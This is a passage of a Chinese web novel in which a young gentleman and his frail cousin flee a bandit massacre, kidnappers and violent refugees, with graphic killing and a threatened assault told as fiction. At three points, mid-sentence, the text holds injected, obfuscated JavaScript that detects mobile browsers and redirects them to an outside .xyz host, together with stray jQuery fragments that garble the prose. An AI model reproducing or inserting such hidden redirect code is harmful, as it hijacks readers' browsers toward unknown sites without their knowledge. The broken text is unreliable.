“表哥……表哥,外面是不是出事了?”乔璃扶着拔步床下来,天热,她却不敢少穿,肩头披着中衣。周莲泱皱皱眉,开窗往外看,立刻被惊了一跳:前院竟是火光大盛,柴房上跳着火舌,满耳尽是撕心裂肺的惨叫声和野兽般的狂吼。他不知发生了何事,却被乔璃推了一把,两人连忙换好衣服鞋裤。 “事情不对,秀云,秀云呢?”他穿好衣服,圾了鞋,便要出门找人。乔璃拉住他:“表哥,你先不要喊。” 秀云不知去了哪里,玲云倒是跑进来,鬓发凌乱,满目凄惶:“莲二爷,不好了,有贼匪闯进来,老太爷、老爷都被杀了!” 周莲泱只觉脑内轰然作响,话语听进耳里,表情还是一面茫然:“谁?你说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615127|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁死了?” 玲云一跺脚:“二爷,姑娘,我们,我们得赶紧逃哇!” 逃?为什么要逃?逃去哪里?周莲泱茫茫然看着玲云,乔璃却手脚很快,房间内的一切她都很熟悉,别的不管,金银细软先收拾了一包,又拽出披风,给周莲泱罩上。 “表哥,表哥!”她握住他的手,狠狠一掐。 周莲泱打了个颤,低下头,对上乔璃乌沉乌沉的眼。她脸色青白相混,刚咳嗽完,形容分外虚弱。他浑身一冷,又热起来,反握住表妹的手:“好!走,我们快走!” 推开门,玲云好歹经历过流亡,哪怕吓得浑身发抖说不囫囵话,也知晓该往哪处跑。两人跟着玲云,出了小院,来至静处,顺着小路往大宅的后门走。 已有盗匪闯入后院,带着滚滚浓烟。杀声震天,周莲泱听到一声女人的尖哭,似乎是从他大哥院里传来的。 嚎叫一声比一声高、一声比一声急,哭到末了,已是含了血一般哀哀啼着,声音飘得老高,接着戛然而止。 他一只手揽着乔璃的腰,脚下卯足劲儿往前奔跑。深夜倒不冷,两人还披着披风,裹出一身汗,但周莲泱脑袋还是晕的,不知是怕、还是恐慌,心里一哆嗦一哆嗦的渗寒气。他从来没觉得周家院子有这么大,仿佛比他看过的波罗的海还要宽阔,怎么走都走不到尽头。 走着,走着,他突然觉得脚腕一阵锥心的痛,原来是踩到一块松石,整个人向旁边崴去。他还紧紧握着乔璃的手,这么一崴,两人都倒向后园的草丛里。 他吓晕了,只觉得身体紧绷绷的,披风缠在身上,像一条湿透的巨蟒,裹得他一动不能动。他张开嘴,想叫住玲云,求她帮一帮忙。玲云确实往后看了一眼,嘴巴抿得紧紧的,犹豫片刻,径直往前跑了。 “表哥,嘘……别哭,不要怕。” 一道气声贴近他的耳朵,一只温软的手也贴过来,给他擦了擦脸。 周莲泱这才发觉自己淌了一脸泪,冰冰凉凉的,完全控制不住自己的情绪,在地上打哆嗦。他想爬起来,想带着表妹继续走,可身体像是僵死成一块枯朽的木头,怎么都动不了,还要表妹来安慰他! 周莲泱举起手,下死力咬下去,直咬得冒出血来,终于恢复些许气力。还没等他爬起身,头顶一重,却是被乔璃按着后脑,压在胸前。 他先是一呆,接着见到一个人影往前一跳地跑过去,手里提着一把刀,他看不到那人影,却能听见刀抡起来呼呼的风声,接着就是一声刺耳的尖嚎。 是玲云的声音。周莲泱捂住嘴,咬住手心,拼命不叫自己喊出来。那双温软的手攥住他的手腕,把他拖起来,在假山的遮掩下,两人离那人影越来越远,绕了一圈,往后门疾走。 他的心里冷如寒冰,寒气顺着血管流向四肢。他想吐,又想哭,还记得身边跟着一个更需要照顾的表妹,才勉强撑住。 后门越来越近,周莲泱已听到马嘶人声,打起精神睁大眼睛。 黑暗里,没人点灯,只有一点点火光,映衬出几道熟悉的身影。是太太,还有小弟!周莲泱激动起来,想挥手大喊,又生生止住声息。宋则玉已看到他、还有他身后的乔璃,疲倦紧张的面容却并未露出什么惊喜,反而抱住幼子返身登车,催促车夫起驾离开。 “娘!” 他忍不住叫出来,啼哭一样,把嗓子都喊破了。 也许是这一声娘触动了什么,宋则玉到底露出一丝不忍之色,点了最后一个车架,让它慢下来,给并非自己亲生骨血的周莲泱留了一条生路。 周莲泱一边笑,一边哭起来,手下一拉乔璃,先是一紧,又忽然一松。 乔璃松开了他的手。 他一愣,立刻扭过头去,只见一道黑影,不知什么时候扣住了少女的另一只腕,拖着她,狞笑着,刀光晃裂了他的胆魂—— “表妹!” 8. 柒 白刃血纷 乔璃被扣住手腕的时候,比起肝胆欲裂的周莲泱,她其实什么也没想。 少女平日被周继纯养得细,皮娇肉嫩,盗匪长着粗茧的手一攥,腕就传来一阵似要被搓坏折断的痛苦。 她顺着扯拽的力道回头,瞧见盗匪那张贪婪狰狞的脸。他并不壮大,体态瘦小,因连月的奔波周折而憔悴不堪,想是前院的火让他热了,褴褛的短打敞了前襟,底下是历历可数的胸骨。 盗匪的目光也移到乔璃面上,手中清秀孱弱的少女,一看就是穿金戴玉的大家小姐,性命捏在恶人手里,看上去却并不如何怕。 与其说她长得精致美丽,不如说长得静、长得佛性。一双圆润清幽的眼睛直勾勾地看着他,里面没有任何感情,只存别有意味的审视。 怒气一忽儿窜上心头。他一路劫掠过来,无人不跪伏在地,对他这个平日不会正眼一瞧的下等人磕头乞求,求他饶其一命。 他最喜欢干得事,就是在这声声乞求中将人的头颅劈开、踩上几脚,吐几口唾沫。若是有尿,还会把尸体当夜壶。 这小女郎的不怕,就是对他执掌生杀之威的藐视,对他唯一自傲之权的轻蔑,比起别人来说,更分外可恶了。 他拿眼睨着乔璃,眼珠滴溜溜一转,伸手撕开她的领口,手指在脖颈上刮出两道红痕——这又是一桩男人对女人的权威了,若是将她按在地上侵犯,想必这张观音似的冷淡面容,一定能被痛苦和恐怖扭曲了吧? 盗匪这么想着,丢了手上大刀,两只手都掐过来,要桎梏乔璃的身子。不妨侧腰一痛,定睛一看,是一个半大小子,双目赤红,明明手无寸铁,却一头莽撞地撞过来,一拳一拳地捣在他身上。 “放开她!放开她!你这天杀的贱贼!” 盗匪怒嘶一声:“你这小畜生!”说罢,就想弯腰提刀,挥刀去砍扑上来的少年。 乔璃看着这一幕,眼神移到毫无章法地撕扯盗匪的周莲泱身上,缓慢地眨了眨眼,脸上忽然露出一丝奇怪的笑容。 那丝笑意未落,乔璃的手移向粗糙绑起的发髻,从上面抽出一只簪。 那支银簪本该圆润纤细的簪头被磨得尖尖的,火光映衬下,飘逸出一抹微亮的白光,刺进皮肉,避开骨骼,直直扎穿了盗匪摸刀的右腕。 她身体弱,蓄势已久爆发出来的力气却不小,准准摸着血管,一扎之下再扭动抽出,不大的一个口子,涌出骇人的血量。 男人登时发出一声震得人耳鸣的大吼,不可置信地看看自己的手,再瞪向她:这娇弱貌美的女孩在他眼里,不再是可随意折辱的玩器,但也决不是人,而是一个冷酷无情的怪物! 血溅出来,飞了乔璃一手。身体问题不可避免带来的虚弱、忿怒和磨人的无聊被血的腥黏之感驱散大半,盖过盗匪身上的骚臭,让空气都清新许多。她冲他笑了一笑,热情似地抱住他的胳膊,向下一拽,银簪一闪,刺入了他的咽喉! 她这一连串动作,做得极快极连贯,仿佛本能地明白该从什么角度、用何种力道取得人的性命,和洽的技巧让她挥动银簪的姿势,像一支缺乏美感但精确如齿轮相扣的古怪舞蹈。 乔璃抽出银簪,盗匪捂着大动脉,嘴里发出不似人声的“咯咯”,身体跪倒在地,拼命想要给自己止血,却停不下生命的流逝。 她将银簪在他肩头擦了擦,重新插回发髻,动着走到周莲泱身前,轻拍他的脸:“表哥,我没事了,你不必怕。” 少女嘴角微微翘着,周莲泱从未见过她眼里这种畅意的风神,像是蛰伏的兽,一朝亮出獠牙,浑身上下都多了股天赋的自然。 她又伸出手来,凝着血的指抹上他的眼角,为他拭去渐冷的泪。 周莲泱被指腹的力道按得微微眯起眼,很快地一擦而过,眼角飘出一线淡红,仿佛晕开的胭脂。 乔璃声音比平常更低哑两分:“……这么怕,总是哭,怎么还扑上来?” 周莲泱一时之间没有办法理解发生了什么。 一切都太快、太激烈,太不可思议,对于一个始终活在光鲜亮丽水彩画里的少爷心灵来说,过于复杂难解。 但本能地,他伸出双手,抱住了乔璃。 他的脸埋在少女的颈窝里,鼻尖贴着她柔韧白皙的肌肤,那里被溅了两滴血。新鲜的血,萦着一股清幽杂着甜腥的气味。周莲泱眼中一热,又想哭了,泪珠儿在眼圈里打转,硬憋着不要掉下来。 那人是死了吗?被表妹杀死的吗?她怎么是这样冷静的?他心里怕得紧,抱着她的手却松不开,他怕一松,她就又被什么拽跑了。 乔璃心里本来跃跃着恶意,想要逗弄他一逗,瞧他这样子,眼里吐信的毒蛇忽然低了头,慢慢地盘回去。 她拂了一下他的额头,唇碰碰他冰凉的脸颊:“表哥,我们快走吧。” 再往前跑十几步,就是停下来等两个孩子的小马车。周莲泱不敢松开她的手,在车上坐定了,听轱辘吱吱呀呀地转着响,仍紧紧捏牢手中温热。乔璃也不知想什么,并未咳嗽,却扶着胸口,凝望车厢一角。 天色太暗,驾车的马夫和老妈妈眼神不好,因此没人看见乔璃杀人的一幕,只有在方寸间亲眼目睹一切的周莲泱记着。他不仅记着,眼前还一遍一遍回放血液四溅的一幕幕,顿时喉中阵阵作呕。 他忍不住用眼角余光去瞥身边的乔璃。 可能是杀人费了太多力气,少女神色恹恹,方才眼里让人心惊肉跳的血光被见惯了的澄澈淹没了。她乖乖地任他牵着手,指尖微微蜷着,像一只无害的白兔,静静地依偎着他的肩膀。 他想起来,乔璃曾说自己生而知之。具体什么他忘了,大抵是未喝过孟婆汤,还有前世的记忆。那她前世是什么人,能这样面不改色地夺走一条性命?在周莲泱狭窄的认知里,只有杀手、盗匪一流的词能用来形容,可这些听起来就血腥狰狞的词,与表妹的脸是如此不贴合。 想着想着,周莲泱又偷偷去看她,岂料正对一双透黑沉凝的瞳仁。乔璃嘴角又挂起那抹似有若无的笑意,开口道:“表哥怕我?” “……不怕。” “说谎。”她轻易地作出正确的判决。 “表哥怕的话,下次就别管我了。” “不行。” 这回是真话。乔璃挑了挑眉,有点惊讶,又觉得放在周莲泱身上,有些理所当然。 “为什么?” “我发过誓,要照顾你的……” 乔璃看了他半晌,看他那副头发散乱惊魂未定的狼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615128|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狈样儿,心里奇怪地燥了燥,和平常无聊时的燥意还有些许不一样。她移开视线,想要抽回手,却被握得更紧。 “……妹妹恼我了?” 他没头没脑问这么一句,让乔璃啼笑皆非:她杀人吓了他,他怕是应当,却表现得像是自己负了她。 “没有,我是觉得表哥恼我了。”乔璃这话说得真心实意,周莲泱又露出那种让她心里燥动的表情。少女和他贴紧了点,胳膊抵着胳膊,低头一挨,靠向他的心口。 周莲泱低头,看她被撕掳开的衣领,衣领下出水清荷一般纤秀的颈,只觉那颈子和肩背都透着一种说不出的无助,是要依着他、靠着他才行的。 他的心就慢慢静下来,主动揽过她的腰,让她埋在自己身上休憩。 马车骨碌碌地往前滚,单调重复的车轮声渐渐带走那股让他心惊胆颤的血腥气。心里不再怕,又生出一种沉沉的担忧。 老太爷、老爷死了,大哥不知如何,似是只有母亲带着小弟逃走,然而,又能逃到哪里去呢?他和妹妹,以后又会如何呢? 心里担忧着,担忧着,周莲泱抱着乔璃,又累又倦,头开始小鸡啄米,对着空气一点一点,最后靠在车上,慢慢地睡过去了。 在两人都昏昏欲睡的时间里,子夜已过,马车离了盗匪灾祸,出了城,来至郊区。她们这一辆马车,原本就比宋则玉在的大车队走得慢,又只有一匹瘦马,渐渐落了单。 天色将明不明、暝色最暗之际,彻底见不到前面的人影。驾车的老妈子往车里叫了好几声,里面的少爷小姐也没有声息。她眼睛就低下来,掀起车帘,将两人好生打量一番,见女孩手里还捏着个包袱,便伸出手轻轻一扯。怎料她将包袱攥得死紧,老妈子扯不动,怕惊醒了人,便收回手。 马夫是她的丈夫,老妈子爬到他身边,附耳说了一阵子。他虽然是老实的家生子,但两年前娶了这外地逃荒来的媳妇,心思也活络不少,听她说得天花乱坠,眼中一狠,轻甩马鞭,离了官道,驱马深入荒郊。 老妈子没看见,其实乔璃身子骨头被震得发麻,并没有睡着,她想拿走包袱,并未成功,撂了帘子,少女便挣开双眼,眸中划过一丝厉色。 她毕竟知晓厉害,知道两人身小力弱,逢遭大难,早已精疲力竭,对上两个身强体壮的成年人毫无胜算,便和周莲泱一样,整个白日都作出昏昏欲睡的模样,骗过老妈子的眼。那老妈子要困着两人,一路最多喂点水,不管不问。周莲泱醒来之后觉得奇怪,听了乔璃的解释,只觉得更是心空胆虚。 怎地就如此多灾多难了?到底何时是个尽头? 马车行驶一整个白天,乔璃偷偷掀起帘子,也彻底分不清天南地北,只是又拐上一条路,像是官道,又透着股久未修缮的残破。沿途有一股一股的流民,衣衫褴褛,面容麻木,身旁有马车经过,也是无动于衷。 她不知这面生的老妈子要将两人带到哪里去,作出乖顺愚蠢的样子,细细观察,最后明白,大抵是见两人皮细肉嫩,要拐到有钱人手里,换得金银。 两人分开,乔璃不知自己如何,周莲泱怕是活不下去的,仔细思量,趁天色又黑,握了他的手,细声道—— “表哥,时候不早,我们准备跳车罢。” 9. 捌 身若浮萍 抱着乔璃跳下车的时候,两人顺着土坡往下翻滚了好几圈,周莲泱一连吃了好几口砂土,直撞到一块冰冷硬板的物事才停下。一番磕碰下来,浑身都发麻,就没有一处不痛的。 最痛的是后腰,砖物突起的一角顶在腰眼,刺麻麻地烧。 周莲泱靠在硬石上,胸口拉风箱一样起伏着,勉强换匀气。回过神来后,才急忙抱起怀里的女孩,轻声急道:“表妹,表妹?” 没有得到回应,他吓得连肩膀都颤抖起来:“囡囡,你能听到我说话吗?你别吓我,囡囡……” 乔璃勉强动动手指。活了十一二年,这恐怕是她活动得最厉害的一次了,如果换成一两个月前大病初愈的身体,恐怕要喘疾发作,登时昏倒过去。她这边不作声,周莲泱急得就差在地上团团转,顾不上礼仪,手指颤抖着从她的脑袋一直抚摸到腰腿,检查她的身体。 那马车平日瞧不怎样,他甚至不用人扶,就能迈步上车,可行得急时,从车帘往外看不断倒退的路,跳车真需要足够的勇气。 乔璃虚弱,哪怕周莲泱把她死死护在怀里,到底力有不逮,露在外面的肌肤全是被碎石割破的痕迹,连中衣都渗透了血迹。 “……囡囡。”他的头抵着她的头,心里那股难受劲儿堵得他几乎喘不过气,“都是我没有用。” 乔璃攒出一点力,将脸靠近他胸口,轻轻一贴,涩声道:“表哥,我没事,都是皮外伤。” 周莲泱看她掌心蹭破的口子,心头也似在砂土地上蹭出一片血,一绞一绞地刺疼。 他想抱着女孩爬起来,一动,后腰传来一阵钻心的痛,像有个人用凿子凿腰眼的部位,牵扯整片后背又麻又胀。他忍不住想叫出声,猛然想起两人还在逃难中。 为了堵住嘴忍过这股痛,周莲泱照着手背死死咬下,直到凝固的伤口再次撕裂、钻心的疼一跳一跳烧上手掌时,才停下来。 嘴里一股令人不适的血腥味儿,浸进嗓子,也爬上眉眼,使得突显了天真与尊荣、好似永远清亮的一双杏眼,也染上暗沉沉的赤红狠意。 莲二爷向来是自傲的,论才学、六艺,德行礼仪,他不觉得比旧时君子差。“文衿”二字,是老太爷欣赏幼孙才气,亲自取得字,企盼他能成为理想中的谦谦君子。 但谦谦君子,温文风雅,放在眼下,就成了最大的不合时宜。 若是他再年长一点、强壮一点,那老妈子必不敢背后作妖,随意欺辱他们两个去!若是他再聪慧、本事再大一点,也不需得让表妹拖着病体劳心劳力。 懊悔也无用,冷静下来,周莲泱隐隐闻得一点奇异的臭味。那种臭味,仿佛是纠缠在人的本能里的、想要远远避开的臭。 他心底奇怪起来,可天色太黑、更兼无月,看不清,只好反手摸索把他撞了个七荤八素的物事——仿佛是块石头,又长,又冷,又硬,上面阴刻着字,是一块墓碑! 两人大抵是顺着土坡,滚到一处乱葬岗了吧?可能是某个家族的墓地,因为流亡逃难的人多了,也分不清谁的姓名,全都埋在一处。 他闻到的味道,正是人肉腐烂分解的气味。 周莲泱从未离死人这么近过,一猜到这是乱葬岗,一时间都不知如何下脚,心里又涌出丝丝缕缕的惊慌。乔璃依托他的手勉强站起,少年把表妹温热的身体抱在怀里,强行驱散了心里头的怕—— 已怕够了,怕烦了,不要再懦弱无能了。 他用自己也不知是什么的心情,深一脚浅一脚踩在软塌脆弱的尸骨里。踩碎人骨的触觉,恐怕会在记忆里留一辈子。 为躲避老妈子和马夫可能的搜索,只能带着乔璃往乱葬岗的深里走。深里有一片芒草,也不知是不是吸收了太多脚下的养分,长得又高又直。忽然一阵黑风吹过,芒草簌簌飘响,风声呜咽,像死人长长的哈欠。 周莲泱甩了一下头,甩走一缕挂在眼前汗湿的发。 “……我们在这里,先等到天亮。”乔璃拽着他的袖子,低低道。 周莲泱应了一声,扶她缓缓坐下。 苦熬了一晚夜,天边终于泛起一丝鱼肚白。他就借着这熹微的晨光,上上下下打量一番乔璃,扯下一片中衣,沾了芒草上结的露水,一点点擦干她手脚的血痕。 乔璃乖乖任由他擦完,接过布块,翻到未用过的地方,绕到他身后。 少年背后衣服已被刮烂了,后背划出数条深深浅浅的印子,大多已凝住血痂,看上去有些触目惊心。 他腰生得细,骑马练弓,修成一种收紧的韧。腰侧一块巴掌大的淤青,中央血糊一片,是撞到墓碑碑角的伤口。乔璃不碰血痂,只用布块擦走灰土。 少年微微弓着背脊,腰因疼痛而微微收紧,那处伤绽在白皙的肤肉上,血红更显惨鲜。 乔璃伸手轻轻碰了碰最怵目的那处,在旁近揉捏一下,确认伤口不深,只是擦掉一块皮肉。 他何曾受过这样重的伤,顿时疼得一抖,喉头滚过一丝颤音,旋即止住。 乔璃不由多看了他一眼。那双柔软透彻的眸子里,多了一分铁的冷硬。只是这冷硬,竟是对他自己而发的。 少女叹了一口气,在乱葬岗替两人找起衣服来。若想混进流民往城里走,两人衣帛穿绸,怕不是一见就要被抢。 周莲泱从未扒过死人衣服,这遭也是多了一份体验。他一边恶心,一边加快手脚。乔璃在一旁找了个没有尸骨的地方,从地上搓些泥土,往周莲泱脸上一抹,身上手上全都花花答答抹了一遍,然后捡起一顶开花儿的帽子,并一片半零不落的破衣,给自己头身遮好[1]。 还拣出些少腰没腿的破裤子,周莲泱和她都穿不上,也不费事弄,把裤子往地上一滚,弄成个脏铺盖。这一弄,再抓乱头发,胳膊下夹一支烂竹棒,倒与蓬头垢面的乞儿没有两样。 两人费了大半日功夫,互相搀扶着,终于走到一处乡间小庙。临近村子里只有零零散散十几处人家,想来也是受旱严重,显得空空荡荡。 乡庙早因荒芜而未祭灶火,模样十分破败,庙里聚了好些流民,两人混进去,倒也容易。只是跟着人群走,浑浑噩噩, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615129|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知身处何方。 接连两日见不到城镇,流民都找不到吃的,连地上的野菜和观音土,也不是谁都能抢到的。能有力气往前走,全靠夜里乔璃偷偷塞给他藏在包袱里的点心。 周莲泱抬头看了一眼天上那轮热炉似的日头,心中觉出一种恍惚之感——这算什么?他过了十三年金尊玉贵的少爷日子,自视甚高,一朝被抛入荒野,与乞儿流民毫无两样。面对饥饿,什么琴棋书画、君子六艺都派不上用场,他竟是无计可施。 而表妹呢?比自己小两岁有余,收拾包袱那么一点点时间,居然能想到要装些吃食细软,知晓财不露白的道理,比得他像一个废物。 可即便心里谴责自己,他还是又饥又渴,忍耐不住。脚底在第一日就磨出了大水泡,第二日,这些水泡就全都磨破,痛上一层新高度。到了第三日,痛也变得麻木。 与他相比,乔璃更是难过,身体本就虚弱,夜晚咳疾骤发,全靠毅力硬生生挺下来。周莲泱不忍再让她受苦,便要背她走。不过一两个时辰,就累得摔倒在地。 乔璃便不肯再让他背。 有些流民就是走着走着,一头栽倒,再也爬不起来。 一路前行,水其实是不太缺的,沿道有河、有湖,过了一处大湖,眼里可见多了些人烟。沿途乞讨,倒也勉强撑下来。过了陈瑶,周莲泱才明白,这路流民约莫是往铜陵去的。 忽然一阵风吹过,这天天烧白的日头,渐渐被云翳遮了,过了一会,竟噼里啪啦下起雨来。雨势甚大,雨点子跟葡萄弹子似的,砸在身上突突得疼。这雨下得癫狂,也走得快,浇了几炷香的时间便停下。 这一停下不要紧,周莲泱与乔璃两人往身上抹的灰土泥垢全被冲干净,露出与流民不符的白皮细肤。 雨带寒气,乔璃累了三日,止不住咳,咳到整个人要撅过去,却有人渐渐围过来,眼神闪烁地盯着挎在周莲泱背上的包袱。 周莲泱看着围过来的三四个佝偻的流民,觉得一种什么在胸中爆裂开来:他见过这种眼神,盗匪眼里、老妈子和马夫眼里,甚至他的至亲爹娘都露出过这种眼神,牲畜一样、全然抛却了人性良知、化身为兽的眼神—— 他忽然整个人跪在地上,双膝磕出沉重的闷响,露出怀里咳嗽不止的表妹:“求你,求求你们,行行好放过我,这包袱里面的东西,是要去城镇替我妹妹求药的,如果没了这些,我妹妹就活不成了,活不成了!” 少年伏下身,对着走来的人,一下一下磕头,学那日为了活命的玲云,重重将前额碰出淤青血肿一样,以头抢地。 周围的脚步顿了片刻,侧躺在旁的乔璃知道自己帮不上忙,便竭力装得可怜一点,但心下却是明了,这只是一遭天真无邪的无用功。 短短几天内,他已抛却了世家公子的清傲,看清形式,懂得动脑子、弯下腰,自己寻找一条生路。 但可怜的表哥、可怜的表哥—— 他对世事人心还是稚嫩,不知流民胜饿虎,最不能做的,就是对野兽袒露肚腹,指望同情活命啊! 10. 玖 耽兮不怨 眼前一暗。 尚不待周莲泱仰首反应,已有人伸手扯弄他肩上的包袱。庄稼人干惯农活的手粗粝厚大,一手抓向头,揪住浓黑的一捧发,往地上撕掳。周莲泱拼死抵抗,双手用力往男人的手臂抓去,半大小子劲不小 ,抓得男人臂上一道一道血痕。 他再怎么拼命,也抵不过三四个成人一起出手打来,可包袱就是乔璃的命,他把包袱别到身前抱住,不要命地往一个方向撞。 这本来是有效的,怎料有那心污胆黑的,见机不妙,索性抛下周莲泱,伸手往乔璃的方向摸去。大城镇里的富贵老爷,都有狎童的癖好,这小姑娘长得好,养个一年半载,定出落成他们最喜欢亵玩的模样。 周莲泱面色惨变,一时也顾不得包裹了,撕开包袱皮,将里面什么金银首饰往远了高了一抛,再合身扑上去,一脚踹在男人下处,抓着他的手,用牙齿咬出一排血洞。 压在乔璃身上的男人发出一声惨叫,踉跄退开。周莲泱抱住乔璃,把她锁在自己怀里。 雨点般的拳打脚踢落下来,他已失了所有力气,只能用后背去挡。短短半柱香后,身上被打得青紫交加,只剩出气,没有进气。 包袱里的细软已被抢走,男人什么都没抢到,偷鸡不成反蚀把米。踢打出气犹嫌不够,狠狠吐了一口唾沫,蹲下身,一定要把模样清秀的女孩拽走,低头却对上一双赤红的眼,里面滚滚一团杀意如喷发般爆了出来。 “……你若辱她,先把我杀没了命。” 周莲泱一只手抓在泥地里,眼居然是一种出奇的静,似乎什么东西燃尽了,潜在浮灰里,隐隐可以看到一点极黑暗的异样。 男人一惊,见他连手都抬不起来的样子,心里却不知怎么有些虚。他不知如何是好,更不愿对一个小子露怯,抬脚往周莲泱后腰狠跺一脚,嘴里骂着,转头去抢那些得了钱财的流民。 人流散尽。被严严护住的乔璃等了一会,才慢慢从周莲泱怀里爬出来。 少年的眼睛松松闭着,从额角流下的血浸湿了睫毛,淌了满面。本就撞伤的后腰血淋淋一片,粗布黏在血肉里,饶是乔璃,一时也揭都不敢揭。 她瞧着他,瞧自己染了血的掌根,心里头一次产生一种空茫茫的无力。血混着霉湿的尘味,和一抹花瓣揉碎似的腥香,依稀唤起飘零的记忆。 她像是总被这股气味包围似的,不咸不淡过了很多年,所以她该是有许多办法的,可什么都想不起来、想不起来。怎么就想不起来呢? 一股痛恨忽然沁进心间,她痛恨这些零碎不成形的记忆,痛恨虚弱多病的身躯。深浓的痛恨倏忽打碎了心底的固傲,像一只虬结的爪,抓捏掐握,将一颗疏离的心扯到天光下,扯成“人”的模样,沥沥地滴出血…… 周莲泱侧卧在地,昏昏沉沉,勉强抬目,只见一片血色中嵌着个瘦瘦的倩影。他想爬起身,一动,重伤的腰早就痛麻了,根本无法支撑他站起。 走不了了。 他心下忽然清明一片,握住她搭在自己肩膀的手。 “……别怕……乖囡,你自己走吧,去城里、去……哥哥在这睡一会……” 少女并未按照他的话离开,反而离他近了点,手轻轻抚上被血与汗糊成一片的额头。他眯起眼,本能地去贴她温温的掌心。 昏暗的日光下,她眼也像刚被雨洗了一样,静澈如水。 然后那眼里,真就落下一滴一滴清透的雨点子。 周莲泱茫然地淋着雨,意识恍惚地聚散——总觉得、总觉得,这是第一次瞧见表妹落泪似的。 对着周老太爷、老太太,甚至是她亲娘的葬礼上流的泪,忆起来像是一层纱,把她遮在后面,雾影影的瞧不清晰。 她总是这样,哪怕两人是如此亲密的关系,他也总是看不清晰的。如今他看不清东西,却觉得乔璃从未有这一刻般真实可触。 “……表哥,你不要睡。还记得你发过誓吗?要一直待我好。所以你等等我。表哥等等我,好不好?” 她低下头,澄净的眼里只装着他的身影。周莲泱听得并不清晰,已要睡去,昏昏间,染血干裂的唇忽然被触了一下,伴着两点温凉的泪。 乔璃起身,捡起地上的包袱皮。离桐城已不远了,但以她的脚力,也做不到在天黑前赶进城。两人失了身份路引,又身无分文,不知还有什么希望。 周莲泱想着这些事,总觉得好疲惫、好疲惫,身体越来越沉、越来越凉,地面有一种透骨的寒意,直要把他往某个黑漆漆的地方拽。 可她吻了他。 那轻轻的吻,像春日里翩跹的蝴蝶翅膀,轻轻点过。 只有他来照看她了。这幼稚天真的誓言化成一条最细、最柔,也最韧的丝,飘飘幽幽地绕在心头,把锥心又麻木的痛搅乱了,牵着一口气,让他不舍就这么沉沉地睡下去。他答应了她的,不能违约,不要违约…… ------ 那一日,长长的一日,由生归死,由死复生。周莲泱觉得自己做了一个好长好长、半睡半醒的梦。 梦里有可怖的大火、尖叫的人群,砰砰的磕头声……还有许多许多辨不清面目的人。生,又死,死,再生,他茫茫然地行走着,手里捏着一根丝线,使自己不至于偏离。 不至于偏离,什么? 这样长的一日,终究是要结束的。周莲泱醒来时,是一个阴雨连绵的天。他不知道其时已过了两天,以为又下起雨。 又下起雨,表妹若是淋湿了,要气喘咳嗽,她受不住…… “囡囡、囡囡……” 他摸索着,忽然惊觉自己趴在一张床上,一伸手,抻得全身骨头皮肉都一阵跳一阵痛。差点翻下去,被一双手接住,换得一声低低的叹息。 “我活了半辈子,从来不信有这么痴的人,那小丫头说的话,居然是真的。” 来人端了一杯水,递到周莲泱嘴边,他喝了一口,这才发现喉中干渴如火烧。 咽了一整杯,他定睛看去,面前是一个穿着简朴的女人,素面朝天,挽着低髻,面容柔婉而不失刚毅。她眼角生着细细的纹路,却看不出年龄,把少年扶起,又给他续了杯水。 周莲泱终于醒过神来——身上敷着药,不似刚受伤时那般烈痛,不禁喃喃道:“……您,是您救了我么?” 女人拖来一张椅子,坐到床边,先盯他一眼,才用手扶着发髻,慢慢笑一笑:“我姓吴,名铁音,当是长你许多岁,你就叫我一声音大姐罢。救了你的不是我,而是我那好管闲事菩萨心肠的外公。喏,你怕也是疑惑得紧,我就和你好好说一说。” “外公和我,是做生意的,原本跟一支商队在铜陵外结伴走,你那妹子突然跑过来哀求救命。商人么,早看多了流民,本来谁都不会管,只有我外公一个滥好人,看不过孩子受苦,非得脱离队伍,跟着去救。我们只有一匹瘦驴,拉的货不要,也驮上你和你妹子。这一救,就是费了三倍的功夫才进城,好在没碰到歹人,不然非被一锅端了不可。” 周莲泱听毕,立刻要起身拜谢,被吴铁音按回床:“唉,小少爷,你还是歇着罢,若牵动伤口恶下去,可没钱再治了。” 钱。周莲泱猛地醒神。表妹与他,可是一分钱都不剩。 “这救命的恩情……” “我们并未花钱,只是将你们带回铜陵,找来大夫,都是些力气活,不值当什么。”吴铁音悠悠地感慨一句:“你那妹子,当真是奇人,古有甘罗十二封相,她若非是女子,恐怕也不差多少。” “你身上的伤多是皮肉伤,用些内服外敷的药也不值太多钱。但你妹子咳疾发作,养身子的药有几味相当贵重,我们无钱可出。外公要典当瘦驴及铺内用品,被我死死拦下。争执之际,你知如何?你妹子瞧我们确实是良善人,才打开随身带的包袱皮——外面不显,里面竟是夹层的油布,藏着银票!” 吴铁音是生意人,嘴皮子利索,形容描述得绘声绘色。周莲泱的嘴不由微张了开来,发出一声“啊?” 